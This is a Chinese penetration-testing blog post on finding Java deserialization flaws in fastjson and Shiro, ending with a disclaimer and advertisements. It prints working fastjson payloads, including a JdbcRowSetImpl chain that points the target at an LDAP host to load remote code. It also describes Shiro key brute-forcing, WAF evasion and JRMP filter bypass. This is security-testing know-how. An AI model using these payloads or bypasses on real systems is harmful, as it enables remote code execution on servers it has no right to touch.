文章总结: 文章介绍了Java反序列化漏洞的黑盒挖掘思路,重点讲解了fastjson和shiro两种常见漏洞的识别与利用方法。对于fastjson,提供了判断链子、识别版本和利用链的具体技巧;对于shiro,分享了WAF绕过方法和有key无链情况的处理方案。文章还提供了实用的payload示例和工具推荐,对安全测试人员有较高的实践价值。
综合评分: 86
文章分类: 漏洞分析,渗透测试,WEB安全,实战经验,安全工具
Java反序列化漏洞黑盒挖掘思路-上篇
C4安全
2025年12月4日 10:40
江苏
以下文章来源于有恒安全
,作者有恒
有恒安全
.
安全技术知识分享
java反序列化分为原生反序列化和组件反序列化,组件反序列化有大家熟知的fastjson反序列化,shiro反序列化漏洞等,这篇文章分享一下自己的反序列化漏洞黑盒挖掘思路。
以在实战中挖到的反序列化漏洞举例,网站中反序列化漏洞数量大概为:fastjson>shiro>=jdbc>XStream>原生反序列化
一、fastjson反序列化漏洞
1.1判断链子
fastjson反序列化漏洞主要看数据包是否以json传输,如果是json传输,就可以尝试打一下payload。
可以先删除请求数据包的 } ,查看报错,报错如果是这样的,基本就可以判断使用了fastjson组件
直接盲打可以打这个payload,如果存在fastjson1.2.24-1.2.83,就会收到dnslog请求
{"zero":{"@type":"java.net.Inet4Address","val":"xxx"}}
判断fastjson版本
{"@type":"java.lang.AutoCloseable"a["test":1]
如果版本在1.2.47以下,出网,可以打这条通杀链子
{"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}
如果服务器不出网,无法收到dnslog请求,可以直接跑@type的类,查看报错回显长度判断是否使用了fastjson,在之前写的文章也有提及
如果存在这几个类,可以直接打不出网利用链
com.mchange.v2.c3p0.WrapperConnectionPoolDataSourceorg.apache.tomcat.dbcp.dbcp.BasicDataSourceorg.apache.tomcat.dbcp.dbcp2.BasicDataSourceorg.apache.ibatis.datasource.unpooled.UnpooledDataSource
这些链子可以用Java Chains工具生成。c3p0二次反序列化链,因为是fastjson反序列化漏洞,那就肯定会有fastjson链。
c3p0二次反序列化链:
二、shiro反序列化漏洞
2.1waf绕过:
请求数据包中存在Cookie: rememberMe就可以尝试爆破一下密钥
如果遇到waf,可以尝试在remember添加脏数据绕过
在remember插入@$`_-等符号,不影响链子使用
我写了一个脚本给remember添加脏数据绕过waf爆破密钥
https://pan.baidu.com/s/1IqJdYSJpi1lpJxyeRFgkEw?pwd=y7wd 提取码: y7wd
也可以把数据包改成post,添加脏数据绕过,例如我这里添加了test参数,塞入4mb脏数据
2.2有key无链:
遇到有key无链的情况,一般来说shiro基本会有cb链的,因为shiro组件默认就会导入cb链的依赖,如果代码存在一些过滤,可以尝试打其他链子。
也可以用刚才的Java Chains工具,请求dnslog就可以判断有什么链子。之前写的文章也有提及。
不出网可以通过延时来判断是否存在这条链子
有key无链也可以尝试JRMP二次反序列化链。如果过滤器只是简单地检查序列化数据里有没有“java.lang.Runtime”或“ProcessBuilder”这种危险类名,那么JRMP二次反序列化就能绕过。(这里的复现图以原生反序列化举例)
知识圈专栏介绍
Freebuf知识大陆内部共享资料截屏详情如下
(每周保持更新)
安全渗透感知大家族
(新人优惠券折扣19¥,扫码即可领取更多优惠)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:C4安全 《Java反序列化漏洞黑盒挖掘思路-上篇》